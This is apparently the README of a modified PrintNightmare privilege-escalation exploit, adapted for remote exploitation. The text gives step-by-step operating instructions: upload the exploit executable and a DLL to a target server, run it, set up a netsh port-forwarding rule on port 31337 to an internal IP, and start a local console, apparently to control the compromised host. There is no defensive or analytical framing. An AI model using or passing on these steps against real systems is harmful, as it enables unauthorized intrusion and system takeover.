
Modified from https://github.com/sailay1996/PrintNightmare-LPE, supports remote exploitation.
Upload PrintNightmareLPE.exe and vlib.dll to the remote server, then execute PrintNightmareLPE.exe.
Set up port forwarding locally: netsh interface portproxy add v4tov4 listenport=31337 connectaddress=192.168.84.129 connectport=31337
Start xconsole.exe locally.